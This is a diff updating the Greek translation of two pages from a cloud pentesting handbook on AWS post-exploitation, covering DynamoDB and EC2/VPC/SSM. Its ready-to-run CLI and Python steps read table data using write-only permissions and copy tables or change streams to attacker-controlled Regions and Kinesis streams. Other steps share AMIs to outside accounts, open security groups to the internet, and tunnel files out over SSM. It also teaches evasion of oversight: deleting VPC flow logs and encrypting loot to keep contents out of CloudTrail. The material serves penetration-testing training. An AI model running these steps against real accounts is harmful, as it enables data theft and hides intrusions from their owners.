\ --table-name TargetTable \ --region ``` -3. Λάβετε τον shard iterator χρησιμοποιώντας το stream ARN: +3. Πάρτε το shard iterator χρησιμοποιώντας το stream ARN: ```bash aws dynamodbstreams get-shard-iterator \ --stream-arn \ @@ -292,22 +292,22 @@ aws dynamodbstreams get-shard-iterator \ --shard-iterator-type LATEST \ --region ``` -4. Χρησιμοποιήστε το shard iterator για να αποκτήσετε πρόσβαση και να exfiltrate δεδομένα από το stream: +4. Χρησιμοποιήστε τον shard iterator για να αποκτήσετε πρόσβαση και να exfiltrate δεδομένα από το stream: ```bash aws dynamodbstreams get-records \ --shard-iterator \ --region ``` -**Πιθανός αντίκτυπος**: Παρακολούθηση σε πραγματικό χρόνο και data leakage των αλλαγών του πίνακα DynamoDB. +**Πιθανός αντίκτυπος**: Παρακολούθηση σε πραγματικό χρόνο και data leakage των αλλαγών στον πίνακα DynamoDB. -### Ανάγνωση items μέσω `dynamodb:UpdateItem` and `ReturnValues=ALL_OLD` +### Ανάγνωση items μέσω `dynamodb:UpdateItem` και `ReturnValues=ALL_OLD` -Ένας attacker με μόνο `dynamodb:UpdateItem` σε έναν πίνακα μπορεί να διαβάσει items χωρίς κανένα από τα συνήθη read permissions (`GetItem`/`Query`/`Scan`) εκτελώντας μια ακίνδυνη ενημέρωση και ζητώντας `--return-values ALL_OLD`. Το DynamoDB θα επιστρέψει την πλήρη προ-ενημέρωσης εικόνα του item στο πεδίο `Attributes` της απάντησης (αυτό δεν καταναλώνει RCUs). +Ένας επιτιθέμενος που έχει μόνο την άδεια `dynamodb:UpdateItem` πάνω σε έναν πίνακα μπορεί να διαβάσει items χωρίς τις συνήθεις δικαιοδοσίες ανάγνωσης (`GetItem`/`Query`/`Scan`), εκτελώντας μια αβλαβή ενημέρωση και ζητώντας `--return-values ALL_OLD`. Το DynamoDB θα επιστρέψει την πλήρη εικόνα του item πριν την ενημέρωση στο πεδίο `Attributes` της απόκρισης (αυτό δεν καταναλώνει RCUs). -- Ελάχιστα δικαιώματα: `dynamodb:UpdateItem` στον στοχευμένο table/key. -- Προαπαιτούμενα: Πρέπει να γνωρίζετε το πρωτεύον κλειδί του item. +- Ελάχιστες άδειες: `dynamodb:UpdateItem` στον στοχευόμενο πίνακα/κλειδί. +- Προαπαιτούμενα: Πρέπει να γνωρίζετε το πρωτεύον κλειδί του αντικειμένου. -Παράδειγμα (προσθέτει ένα ακίνδυνο attribute και exfiltrates το προηγούμενο item στην απάντηση): +Παράδειγμα (προσθέτει ένα αβλαβές attribute και exfiltrates το προηγούμενο αντικείμενο στην απόκριση): ```bash aws dynamodb update-item \ --table-name \ @@ -318,14 +318,14 @@ aws dynamodb update-item \ --return-values ALL_OLD \ --region ``` -Η απόκριση του CLI θα περιλαμβάνει ένα μπλοκ `Attributes` που περιέχει το πλήρες προηγούμενο αντικείμενο (όλα τα attributes), παρέχοντας ουσιαστικά ένα read primitive από write-only access. +Η απόκριση του CLI θα περιλαμβάνει ένα μπλοκ `Attributes` που περιέχει το πλήρες προηγούμενο στοιχείο (όλα τα attributes), παρέχοντας ουσιαστικά ένα read primitive από write-only πρόσβαση. -**Πιθανός Αντίκτυπος:** Read arbitrary items from a table with only write permissions, enabling sensitive data exfiltration when primary keys are known. +**Πιθανός αντίκτυπος:** Ανάγνωση αυθαίρετων στοιχείων από έναν πίνακα με μόνο δικαιώματα εγγραφής, επιτρέποντας την εξαγωγή ευαίσθητων δεδομένων όταν τα κύρια κλειδιά είναι γνωστά. ### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica` -Κρυφή exfiltration με την προσθήκη μιας νέας replica Region σε ένα DynamoDB Global Table (version 2019.11.21). Αν ένας principal μπορεί να προσθέσει έναν regional replica, ολόκληρος ο πίνακας αναπαράγεται στην attacker-chosen Region, από την οποία ο attacker μπορεί να διαβάσει όλα τα items. +Σιωπηρή εξαγωγή δεδομένων προσθέτοντας μια νέα replica Region σε έναν DynamoDB Global Table (έκδοση 2019.11.21). Εάν ένας principal μπορεί να προσθέσει ένα regional replica, ολόκληρος ο πίνακας αντιγράφεται στη Region που επιλέγει ο attacker, από όπου ο attacker μπορεί να διαβάσει όλα τα στοιχεία. {{#tabs }} {{#tab name="PoC (default DynamoDB-managed KMS)" }} @@ -354,13 +354,13 @@ aws dynamodb update-table \ {{#endtab }} {{#endtabs }} -Δικαιώματα: `dynamodb:UpdateTable` (with `replica-updates`) ή `dynamodb:CreateTableReplica` στον στοχευόμενο πίνακα. Εάν χρησιμοποιείται CMK στο replica, μπορεί να απαιτούνται δικαιώματα KMS για αυτό το key. +Δικαιώματα: `dynamodb:UpdateTable` (with `replica-updates`) ή `dynamodb:CreateTableReplica` στον πίνακα-στόχο. Αν χρησιμοποιείται CMK στο replica, μπορεί να απαιτούνται δικαιώματα KMS για αυτό το κλειδί. -Πιθανός αντίκτυπος: Full-table replication σε attacker-controlled Region που οδηγεί σε stealthy data exfiltration. +Πιθανός αντίκτυπος: Πλήρης αντιγραφή του πίνακα σε Region που ελέγχεται από attacker, οδηγώντας σε διακριτική εξαγωγή δεδομένων. -### `dynamodb:TransactWriteItems` (ανάγνωση μέσω αποτυχημένης συνθήκης + `ReturnValuesOnConditionCheckFailure=ALL_OLD`) +### `dynamodb:TransactWriteItems` (ανάγνωση μέσω αποτυχίας συνθήκης + `ReturnValuesOnConditionCheckFailure=ALL_OLD`) -Ένας attacker με δικαιώματα transactional write μπορεί να exfiltrate τα πλήρη attributes ενός υπάρχοντος item εκτελώντας ένα `Update` μέσα σε `TransactWriteItems` που αποτυγχάνει σκόπιμα ένα `ConditionExpression` ενώ ορίζει `ReturnValuesOnConditionCheckFailure=ALL_OLD`. Σε περίπτωση αποτυχίας, το DynamoDB συμπεριλαμβάνει τα προηγούμενα attributes στους λόγους ακύρωσης της transaction, μετατρέποντας ουσιαστικά την πρόσβαση μόνο για εγγραφή σε read access των στοχευμένων keys. +Ένας attacker με transactional write προνόμια μπορεί να εξαγάγει τα πλήρη attributes ενός υπάρχοντος item πραγματοποιώντας ένα `Update` μέσα σε `TransactWriteItems` που σκόπιμα αποτυγχάνει ένα `ConditionExpression` ενώ έχει οριστεί `ReturnValuesOnConditionCheckFailure=ALL_OLD`. Σε περίπτωση αποτυχίας, το DynamoDB συμπεριλαμβάνει τα προηγούμενα attributes στους λόγους ακύρωσης της συναλλαγής, μετατρέποντας ουσιαστικά την πρόσβαση μόνο για εγγραφή σε πρόσβαση ανάγνωσης για τα στοχευμένα κλειδιά. {{#tabs }} {{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }} @@ -409,23 +409,21 @@ print(e.response['CancellationReasons'][0]['Item']) {{#endtab }} {{#endtabs }} -Permissions: `dynamodb:TransactWriteItems` on the target table (and the underlying item). No read permissions are required. +Δικαιώματα: `dynamodb:TransactWriteItems` στον στοχευόμενο πίνακα (και στο υποκείμενο στοιχείο). Δεν απαιτούνται δικαιώματα ανάγνωσης. -Potential Impact: Read arbitrary items (by primary key) from a table using only transactional write privileges via the returned cancellation reasons. - -Πιθανός Αντίκτυπος: Ανάγνωση αυθαίρετων αντικειμένων (με βάση το πρωτεύον κλειδί) από έναν πίνακα χρησιμοποιώντας μόνο δικαιώματα εγγραφής συναλλαγής μέσω των επιστρεφόμενων λόγων ακύρωσης. +Πιθανός Αντίκτυπος: Ανάγνωση αυθαίρετων στοιχείων (με βάση το πρωτεύον κλειδί) από έναν πίνακα χρησιμοποιώντας μόνο δικαιώματα transactional write μέσω των επιστρεφόμενων λόγων ακύρωσης. ### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI -Παρακάμψτε τους περιορισμούς ανάγνωσης δημιουργώντας ένα Global Secondary Index (GSI) με `ProjectionType=ALL` σε ένα πεδίο χαμηλής εντροπίας, ορίστε αυτό το πεδίο σε μια σταθερή τιμή για όλα τα αντικείμενα, και στη συνέχεια κάντε `Query` στο index για να ανακτήσετε τα πλήρη αντικείμενα. Αυτό λειτουργεί ακόμη και αν το `Query`/`Scan` στον βασικό πίνακα απορρίπτεται, αρκεί να μπορείτε να κάνετε query στο index ARN. +Παρακάμψτε τους περιορισμούς ανάγνωσης δημιουργώντας ένα Global Secondary Index (GSI) με `ProjectionType=ALL` σε ένα πεδίο χαμηλής εντροπίας, ορίστε αυτό το πεδίο σε μια σταθερή τιμή για όλα τα στοιχεία, και στη συνέχεια κάντε `Query` στο index για να ανακτήσετε ολόκληρα τα στοιχεία. Αυτό λειτουργεί ακόμη και αν το `Query`/`Scan` στον βασικό πίνακα απορρίπτεται, εφόσον μπορείτε να κάνετε query στο index ARN. -- Minimum permissions: -- `dynamodb:UpdateTable` on the target table (to create the GSI with `ProjectionType=ALL`). -- `dynamodb:UpdateItem` on the target table keys (to set the indexed attribute on each item). -- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:::table//index/`). +- Ελάχιστα δικαιώματα: +- `dynamodb:UpdateTable` στον στοχευόμενο πίνακα (για να δημιουργήσετε το GSI με `ProjectionType=ALL`). +- `dynamodb:UpdateItem` στα κλειδιά του στοχευόμενου πίνακα (για να ορίσετε το ευρετηριασμένο πεδίο σε κάθε στοιχείο). +- `dynamodb:Query` στο ARN πόρου του index (`arn:aws:dynamodb:::table//index/`). -Steps (PoC in us-east-1): +Βήματα (PoC στο us-east-1): ```bash # 1) Create table and seed items (without the future GSI attribute) aws dynamodb create-table --table-name HTXIdx \ @@ -463,17 +461,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \ --expression-attribute-values '{":v":{"S":"dump"}}' \ --region us-east-1 ``` -**Πιθανός Αντίκτυπος:** Full table exfiltration by querying a newly created GSI that projects all attributes, even when base table read APIs are denied. +**Potential Impact:** Πλήρης exfiltration ενός πίνακα με ερώτημα σε έναν νεοδημιουργημένο GSI που προβάλλει όλα τα attributes, ακόμα κι όταν οι base table read APIs απορρίπτονται. -### `dynamodb:EnableKinesisStreamingDestination` (Συνεχής exfiltration via Kinesis Data Streams) +### `dynamodb:EnableKinesisStreamingDestination` (Συνεχής exfiltration μέσω Kinesis Data Streams) -Κατάχρηση των DynamoDB Kinesis streaming destinations για να exfiltrate συνεχώς τις αλλαγές από έναν πίνακα σε ένα attacker-controlled Kinesis Data Stream. Μόλις ενεργοποιηθεί, every INSERT/MODIFY/REMOVE event προωθείται near real-time στο stream χωρίς να απαιτούνται read permissions στον πίνακα. +Κατάχρηση των DynamoDB Kinesis streaming destinations για να exfiltrate συνεχώς τις αλλαγές από έναν πίνακα σε ένα attacker-controlled Kinesis Data Stream. Μόλις ενεργοποιηθεί, κάθε INSERT/MODIFY/REMOVE event προωθείται σχεδόν σε πραγματικό χρόνο στο stream χωρίς να απαιτούνται read permissions στον πίνακα. Minimum permissions (attacker): - `dynamodb:EnableKinesisStreamingDestination` on the target table - Optionally `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` to monitor status -- Read permissions on the attacker-owned Kinesis stream to consume records: `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords` +- Read permissions on the attacker-owned Kinesis stream to consume records: `kinesis:*`
PoC (us-east-1) @@ -532,8 +530,8 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true ```
-**Potential Impact:** Συνεχής, σχεδόν σε πραγματικό χρόνο exfiltration των αλλαγών στον πίνακα σε ένα attacker-controlled Kinesis stream χωρίς άμεσες λειτουργίες ανάγνωσης στον πίνακα. +**Πιθανός Αντίκτυπος:** Συνεχής, σχεδόν σε πραγματικό χρόνο exfiltration των αλλαγών του πίνακα σε attacker-controlled Kinesis stream χωρίς απευθείας λειτουργίες ανάγνωσης στον πίνακα. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index 486a0fb23..0db6bcb5e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -4,26 +4,26 @@ ## EC2 & VPC -Για περισσότερες πληροφορίες ελέγξτε: +Για περισσότερες πληροφορίες δείτε: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### **Κακόβουλο VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` +### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -Η αναπαραγωγή της κίνησης VPC **αντιγράφει την εισερχόμενη και εξερχόμενη κίνηση για τις EC2 περιπτώσεις εντός ενός VPC** χωρίς την ανάγκη εγκατάστασης οτιδήποτε στις ίδιες τις περιπτώσεις. Αυτή η αντιγραμμένη κίνηση θα αποστέλλεται συνήθως σε κάτι όπως ένα σύστημα ανίχνευσης δικτυακής εισβολής (IDS) για ανάλυση και παρακολούθηση.\ -Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτό για να συλλάβει όλη την κίνηση και να αποκτήσει ευαίσθητες πληροφορίες από αυτήν: +Το VPC traffic mirroring **αντιγράφει την εισερχόμενη και εξερχόμενη κυκλοφορία για EC2 instances εντός ενός VPC** χωρίς την ανάγκη εγκατάστασης οτιδήποτε στα ίδια τα instances. Αυτή η αντιγραμμένη κυκλοφορία συνήθως αποστέλλεται σε κάτι σαν network intrusion detection system (IDS) για ανάλυση και παρακολούθηση.\ +Ένας επιτιθέμενος θα μπορούσε να καταχραστεί αυτό για να καταγράψει όλη την κυκλοφορία και να αποκτήσει ευαίσθητες πληροφορίες από αυτή: -Για περισσότερες πληροφορίες ελέγξτε αυτή τη σελίδα: +Για περισσότερες πληροφορίες δείτε αυτή τη σελίδα: {{#ref}} aws-malicious-vpc-mirror.md {{#endref}} -### Αντιγραφή Εκτελούμενης Περίπτωσης +### Copy Running Instance -Οι περιπτώσεις συνήθως περιέχουν κάποια ευαίσθητη πληροφορία. Υπάρχουν διάφοροι τρόποι για να μπείτε μέσα (ελέγξτε [tricks ανύψωσης προνομίων EC2](../../aws-privilege-escalation/aws-ec2-privesc.md)). Ωστόσο, ένας άλλος τρόπος για να ελέγξετε τι περιέχει είναι να **δημιουργήσετε ένα AMI και να εκτελέσετε μια νέα περίπτωση (ακόμα και στον δικό σας λογαριασμό) από αυτό**: +Τα instances συνήθως περιέχουν κάποιο είδος ευαίσθητων πληροφοριών. Υπάρχουν διάφοροι τρόποι για να μπείτε (βλ. [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Ωστόσο, ένας άλλος τρόπος για να ελέγξετε τι περιέχει είναι να **create an AMI and run a new instance (even in your own account) from it**: ```shell # List instances aws ec2 describe-images @@ -49,109 +49,174 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west ``` ### EBS Snapshot dump -**Τα snapshots είναι αντίγραφα ασφαλείας των volumes**, τα οποία συνήθως θα περιέχουν **ευαίσθητες πληροφορίες**, επομένως η εξέτασή τους θα πρέπει να αποκαλύψει αυτές τις πληροφορίες.\ -Αν βρείτε ένα **volume χωρίς snapshot** μπορείτε να: **Δημιουργήσετε ένα snapshot** και να εκτελέσετε τις παρακάτω ενέργειες ή απλά να **το τοποθετήσετε σε μια instance** μέσα στον λογαριασμό: +**Snapshots are backups of volumes**, τα οποία συνήθως περιέχουν **ευαίσθητες πληροφορίες**, επομένως ο έλεγχός τους θα αποκαλύψει αυτές τις πληροφορίες.\ +Αν βρείτε ένα **volume without a snapshot** μπορείτε να: **Create a snapshot** και να εκτελέσετε τις ακόλουθες ενέργειες ή απλώς **mount it in an instance** μέσα στο λογαριασμό: {{#ref}} aws-ebs-snapshot-dump.md {{#endref}} +### Covert Disk Exfiltration via AMI Store-to-S3 + +Εξάγετε ένα EC2 AMI απευθείας σε S3 χρησιμοποιώντας `CreateStoreImageTask` για να αποκτήσετε ένα raw disk image χωρίς snapshot sharing. Αυτό επιτρέπει πλήρη offline forensics ή data theft ενώ αφήνει το networking του instance ανεπηρέαστο. + +{{#ref}} +aws-ami-store-s3-exfiltration.md +{{#endref}} + +### Live Data Theft via EBS Multi-Attach + +Συνδέστε έναν io1/io2 Multi-Attach volume σε ένα δεύτερο instance και κάντε mount read-only για να αποσπάσετε live data χωρίς snapshots. Χρήσιμο όταν το volume του θύματος έχει ήδη Multi-Attach ενεργοποιημένο στην ίδια AZ. + +{{#ref}} +aws-ebs-multi-attach-data-theft.md +{{#endref}} + +### EC2 Instance Connect Endpoint Backdoor + +Δημιουργήστε ένα EC2 Instance Connect Endpoint, εξουσιοδοτήστε ingress, και εισάγετε ephemeral SSH keys για πρόσβαση σε private instances μέσω ενός managed tunnel. Παρέχει γρήγορους δρόμους lateral movement χωρίς να ανοίγονται δημόσιες θύρες. + +{{#ref}} +aws-ec2-instance-connect-endpoint-backdoor.md +{{#endref}} + +### EC2 ENI Secondary Private IP Hijack + +Μετακινήστε τη δευτερεύουσα private IP του ENI του θύματος σε ένα ENI που ελέγχεται από τον επιτιθέμενο για να μιμηθείτε trusted hosts που είναι allowlisted ανά IP. Επιτρέπει την παράκαμψη εσωτερικών ACLs ή SG κανόνων που βασίζονται σε συγκεκριμένες διευθύνσεις. + +{{#ref}} +aws-eni-secondary-ip-hijack.md +{{#endref}} + +### Elastic IP Hijack for Ingress/Egress Impersonation + +Ανασυνδέστε ένα Elastic IP από το instance του θύματος στον επιτιθέμενο για να παρεμβληθείτε στην εισερχόμενη κίνηση ή να ξεκινήσετε εξερχόμενες συνδέσεις που φαίνεται να προέρχονται από trusted public IPs. + +{{#ref}} +aws-eip-hijack-impersonation.md +{{#endref}} + +### Security Group Backdoor via Managed Prefix Lists + +Αν ένας κανόνας security group αναφέρεται σε ένα customer-managed prefix list, η προσθήκη attacker CIDRs στη λίστα επεκτείνει αθόρυβα την πρόσβαση σε κάθε εξαρτώμενο SG κανόνα χωρίς να τροποποιηθεί το ίδιο το SG. + +{{#ref}} +aws-managed-prefix-list-backdoor.md +{{#endref}} + +### VPC Endpoint Egress Bypass + +Δημιουργήστε gateway ή interface VPC endpoints για να επανακτήσετε εξερχόμενη πρόσβαση από απομονωμένα subnets. Η χρήση AWS-managed private links παρακάμπτει ελλείποντες IGW/NAT ελέγχους για data exfiltration. + +{{#ref}} +aws-vpc-endpoint-egress-bypass.md +{{#endref}} + +### VPC Flow Logs Cross-Account Exfiltration + +Διευθύνετε τα VPC Flow Logs σε ένα S3 bucket που ελέγχεται από τον επιτιθέμενο για να συλλέγετε συνεχώς network metadata (source/destination, ports) εκτός του λογαριασμού του θύματος για μακροπρόθεσμη αναγνώριση. + +{{#ref}} +aws-vpc-flow-logs-cross-account-exfiltration.md +{{#endref}} + ### Data Exfiltration #### DNS Exfiltration -Ακόμα και αν κλειδώσετε ένα EC2 ώστε να μην μπορεί να βγει κανένα traffic, μπορεί ακόμα να **εξαχθεί μέσω DNS**. +Ακόμα κι αν κλειδώσετε ένα EC2 ώστε να μην βγαίνει κίνηση, μπορεί να εξακολουθήσει να **exfil via DNS**. -- **Τα VPC Flow Logs δεν θα καταγράψουν αυτό**. +- **VPC Flow Logs will not record this**. - Δεν έχετε πρόσβαση στα AWS DNS logs. -- Απενεργοποιήστε το αυτό ρυθμίζοντας το "enableDnsSupport" σε false με: +- Απενεργοποιήστε αυτό θέτοντας "enableDnsSupport" σε false με: `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` #### Exfiltration via API calls -Ένας επιτιθέμενος θα μπορούσε να καλέσει API endpoints ενός λογαριασμού που ελέγχει. Το Cloudtrail θα καταγράψει αυτές τις κλήσεις και ο επιτιθέμενος θα μπορεί να δει τα δεδομένα που έχουν εξαχθεί στα Cloudtrail logs. +Ένας επιτιθέμενος μπορεί να καλέσει API endpoints ενός account που ελέγχει ο ίδιος. Cloudtrail θα καταγράψει αυτές τις κλήσεις και ο επιτιθέμενος θα μπορεί να δει τα exfiltrate δεδομένα στα Cloudtrail logs. ### Open Security Group -Μπορείτε να αποκτήσετε περαιτέρω πρόσβαση σε υπηρεσίες δικτύου ανοίγοντας θύρες όπως αυτή: +Μπορείτε να αποκτήσετε περαιτέρω πρόσβαση σε network services ανοίγοντας ports όπως αυτό: ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC ``` ### Privesc to ECS -Είναι δυνατόν να εκτελέσετε μια EC2 instance και να την καταχωρήσετε για να χρησιμοποιηθεί για την εκτέλεση ECS instances και στη συνέχεια να κλέψετε τα δεδομένα των ECS instances. +Είναι δυνατό να τρέξετε ένα EC2 instance και να το καταχωρήσετε ώστε να χρησιμοποιηθεί για την εκτέλεση ECS instances και στη συνέχεια να κλέψετε τα δεδομένα των ECS instances. -Για [**περισσότερες πληροφορίες ελέγξτε αυτό**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs). +Για [**περισσότερες πληροφορίες δείτε αυτό**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs). -### Remove VPC flow logs +### Αφαίρεση VPC flow logs ```bash aws ec2 delete-flow-logs --flow-log-ids --region ``` ### SSM Port Forwarding -Required permissions: +Απαιτούμενα δικαιώματα: - `ssm:StartSession` -Εκτός από την εκτέλεση εντολών, το SSM επιτρέπει τη σήραγγα κυκλοφορίας, η οποία μπορεί να καταχραστεί για να γίνει pivot από EC2 instances που δεν έχουν πρόσβαση στο δίκτυο λόγω Security Groups ή NACLs. Ένα από τα σενάρια όπου αυτό είναι χρήσιμο είναι το pivoting από ένα [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) σε ένα ιδιωτικό EKS cluster. +Επιπλέον της εκτέλεσης εντολών, το SSM επιτρέπει traffic tunneling το οποίο μπορεί να καταχραστεί για να pivot από EC2 instances που δεν έχουν πρόσβαση δικτύου λόγω Security Groups ή NACLs. +Ένα από τα σενάρια όπου αυτό είναι χρήσιμο είναι το pivoting από έναν [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) σε ένα ιδιωτικό EKS cluster. -> Για να ξεκινήσετε μια συνεδρία, χρειάζεστε το SessionManagerPlugin εγκατεστημένο: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html +> Για να ξεκινήσετε μια συνεδρία χρειάζεται να έχετε εγκαταστήσει το SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html -1. Εγκαταστήστε το SessionManagerPlugin στη μηχανή σας +1. Εγκαταστήστε το SessionManagerPlugin στο μηχάνημά σας 2. Συνδεθείτε στο Bastion EC2 χρησιμοποιώντας την παρακάτω εντολή: ```shell aws ssm start-session --target "$INSTANCE_ID" ``` -3. Πάρτε τα προσωρινά διαπιστευτήρια Bastion EC2 AWS με το [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script -4. Μεταφέρετε τα διαπιστευτήρια στον δικό σας υπολογιστή στο αρχείο `$HOME/.aws/credentials` ως προφίλ `[bastion-ec2]` -5. Συνδεθείτε στο EKS ως Bastion EC2: +3. Πάρε τα προσωρινά credentials του Bastion EC2 AWS με το script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) +4. Μετέφερε τα credentials στο δικό σου μηχάνημα στο αρχείο `$HOME/.aws/credentials` ως προφίλ `[bastion-ec2]` +5. Συνδέσου στο EKS ως το Bastion EC2: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` -6. Ενημερώστε το πεδίο `server` στο αρχείο `$HOME/.kube/config` ώστε να δείχνει στο `https://localhost` +6. Ενημερώστε το πεδίο `server` στο αρχείο `$HOME/.kube/config` ώστε να δείχνει σε `https://localhost` 7. Δημιουργήστε ένα SSM tunnel ως εξής: ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region ``` -8. Η κίνηση από το εργαλείο `kubectl` προωθείται τώρα μέσω του τούνελ SSM μέσω του Bastion EC2 και μπορείτε να έχετε πρόσβαση στο ιδιωτικό EKS cluster από τον υπολογιστή σας εκτελώντας: +8. Η κίνηση από το εργαλείο `kubectl` προωθείται τώρα μέσω του SSM tunnel μέσω του Bastion EC2 και μπορείτε να αποκτήσετε πρόσβαση στο ιδιωτικό EKS cluster από τον δικό σας υπολογιστή εκτελώντας: ```shell kubectl get pods --insecure-skip-tls-verify ``` -Σημειώστε ότι οι συνδέσεις SSL θα αποτύχουν εκτός αν ορίσετε την παράμετρο `--insecure-skip-tls-verify` (ή την αντίστοιχη στα εργαλεία ελέγχου K8s). Δεδομένου ότι η κίνηση είναι τούνελ μέσω της ασφαλούς AWS SSM τούνελ, είστε ασφαλείς από οποιοδήποτε είδος επιθέσεων MitM. +Σημειώστε ότι οι συνδέσεις SSL θα αποτύχουν εκτός αν ορίσετε την παράμετρο `--insecure-skip-tls-verify ` (ή το αντίστοιχό της σε εργαλεία audit του K8s). Εφόσον η κίνηση δρομολογείται μέσω του ασφαλούς AWS SSM tunnel, είστε προστατευμένοι από οποιαδήποτε μορφή επιθέσεων MitM. -Τέλος, αυτή η τεχνική δεν είναι συγκεκριμένη για επιθέσεις σε ιδιωτικά EKS clusters. Μπορείτε να ορίσετε αυθαίρετους τομείς και θύρες για να μεταβείτε σε οποιαδήποτε άλλη υπηρεσία AWS ή σε μια προσαρμοσμένη εφαρμογή. +Τέλος, αυτή η τεχνική δεν είναι συγκεκριμένη για επιθέσεις σε private EKS clusters. Μπορείτε να ορίσετε αυθαίρετα domains και ports για να κάνετε pivot σε οποιαδήποτε άλλη υπηρεσία AWS ή σε μια προσαρμοσμένη εφαρμογή. --- -#### Γρήγορη Τοπική ↔️ Απομακρυσμένη Προώθηση Θύρας (AWS-StartPortForwardingSession) +#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession) -Αν χρειάζεστε μόνο να προωθήσετε **μία θύρα TCP από την EC2 instance στον τοπικό σας υπολογιστή**, μπορείτε να χρησιμοποιήσετε το έγγραφο SSM `AWS-StartPortForwardingSession` (δεν απαιτείται παράμετρος απομακρυσμένου υπολογιστή): +Αν χρειάζεται μόνο να προωθήσετε **μία TCP θύρα από το EC2 instance προς τον τοπικό σας υπολογιστή** μπορείτε να χρησιμοποιήσετε το SSM document `AWS-StartPortForwardingSession` (δεν απαιτείται παράμετρος remote host): ```bash aws ssm start-session --target i-0123456789abcdef0 \ --document-name AWS-StartPortForwardingSession \ --parameters "portNumber"="8000","localPortNumber"="8000" \ --region ``` -Η εντολή δημιουργεί ένα αμφίδρομο τούνελ μεταξύ του υπολογιστή σας (`localPortNumber`) και της επιλεγμένης θύρας (`portNumber`) στην περίπτωση **χωρίς να ανοίξει κανέναν κανόνα εισερχόμενης ασφάλειας**. +Η εντολή δημιουργεί ένα αμφίδρομο tunnel ανάμεσα στον υπολογιστή εργασίας σας (`localPortNumber`) και την επιλεγμένη θύρα (`portNumber`) στο instance **χωρίς να ανοίξει κανόνες εισερχόμενων Security-Group**. -Κοινές περιπτώσεις χρήσης: +Συχνές περιπτώσεις χρήσης: -* **Εξαγωγή αρχείων** -1. Στην περίπτωση, ξεκινήστε έναν γρήγορο HTTP server που δείχνει στον κατάλογο που θέλετε να εξαγάγετε: +* **File exfiltration** +1. Στο instance, ξεκινήστε έναν γρήγορο HTTP server που δείχνει στον κατάλογο που θέλετε να exfiltrate: ```bash python3 -m http.server 8000 ``` -2. Από τον υπολογιστή σας, αποκτήστε τα αρχεία μέσω του SSM τούνελ: +2. Από τον υπολογιστή εργασίας σας, κατεβάστε τα αρχεία μέσω του SSM tunnel: ```bash curl http://localhost:8000/loot.txt -o loot.txt ``` -* **Πρόσβαση σε εσωτερικές διαδικτυακές εφαρμογές (π.χ. Nessus)** +* **Accessing internal web applications (e.g. Nessus)** ```bash # Forward remote Nessus port 8834 to local 8835 aws ssm start-session --target i-0123456789abcdef0 \ @@ -159,28 +224,28 @@ aws ssm start-session --target i-0123456789abcdef0 \ --parameters "portNumber"="8834","localPortNumber"="8835" # Browse to http://localhost:8835 ``` -Συμβουλή: Συμπιέστε και κρυπτογραφήστε τα αποδεικτικά στοιχεία πριν από την εξαγωγή τους, ώστε το CloudTrail να μην καταγράψει το περιεχόμενο σε καθαρό κείμενο: +Συμβουλή: Compress και encrypt τα αποδεικτικά στοιχεία πριν από το exfiltrating, ώστε το CloudTrail να μην καταγράφει το clear-text content: ```bash # On the instance 7z a evidence.7z /path/to/files/* -p'Str0ngPass!' ``` -### Μοιραστείτε το AMI +### Κοινή χρήση AMI ```bash aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region 